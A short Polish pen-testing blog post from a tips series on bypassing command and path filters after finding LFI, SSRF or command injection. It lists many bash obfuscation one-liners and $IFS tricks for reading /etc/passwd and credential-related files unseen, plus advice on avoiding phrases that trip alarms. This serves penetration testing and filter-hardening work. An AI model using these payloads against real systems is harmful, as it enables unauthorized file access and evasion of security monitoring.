1001 Pen Test oraz Bug Bounty Tips & Tricks #1 – Omijanie filtrów poleceń
Napisał: Patryk Krawaczyński
26/03/2019 w Pen Test Brak komentarzy. (artykuł nr 687, ilość słów: 194)
J
eśli znaleźliśmy podatność LFI lub SSRF i chcemy odczytać plik /etc/passwd
, ale serwer filtruje wszystko, co zaczyna się od /etc
możemy spróbować zrobić to za pomocą wirtualnego systemu plików proc, czyli: /proc/self/root/etc/passwd
(chcąć pominąć filtry, aby nie wyzwolić ustawionych alarmów lepiej unikać frazy /etc/passwd
i wykorzystać np. plik: /proc/self/root/etc/timezone
lub inny). Natomiast, jeśli polecenie jest wykonywane w kontekście powłoki bash możemy wykorzystać obfuskację (ang. obfuscation), czyli zaciemnienie, które i tak zostanie zinterpretowane przez powłokę:
/bin/cat /proc/../etc/./passwd /bin/cat //etc//passwd /bin/cat ///etc///passwd /bin/cat /mnt/././../etc/././passwd /bin/cat /etc/.\/\/\/\/\/passwd /bin/cat /etc/.\/.\/.\/.\/passwd /bin/cat /et*/pa**wd /bin/cat /\e\t\c/passwd /bin/cat /et$'c/pa\u0000/notexist/path'sswd /bin/cat $(echo /e)tc$(echo /pa*)wd /b'i'n/c'a't /e't'c/p'a's's'w'd' /b"i"n/c"a"t /e"t"c/p"a"s"s"w"d" /???/?at /???/????w? /bin/c$@at /etc/passwd ln -s / slash; head -n 2 slash////../etc/passwd ln -s / slash; head -n 2 `readlink slash`etc`readlink slash`passwd test=/ehhh/hmtc/pahhh/hmsswd; cat ${test//hhh\/hm/}; cat ${test//hh??hm/} echo /*/*ss*
Polecenia w jednym ciągu bez spacji:
/bin/cat</etc/passwd {/bin/cat,/etc/passwd} /bin/cat$IFS/etc/passwd echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd X=$'uname\x20-a'&&$X IFS=,;`cat<<<uname,-a`
25 grudnia 1998 roku (prawie 21 lat temu) rain.forest.puppy omówił obydwa ataki SQL Injection (“ODBC and MS SQL server 6.5”) oraz SSRF (“Proxy Problems”) w 54’tym wydaniu magazynu Phrack.
Więcej informacji: Sven Morgenroth, Mohammed Aldoub, Malwrologist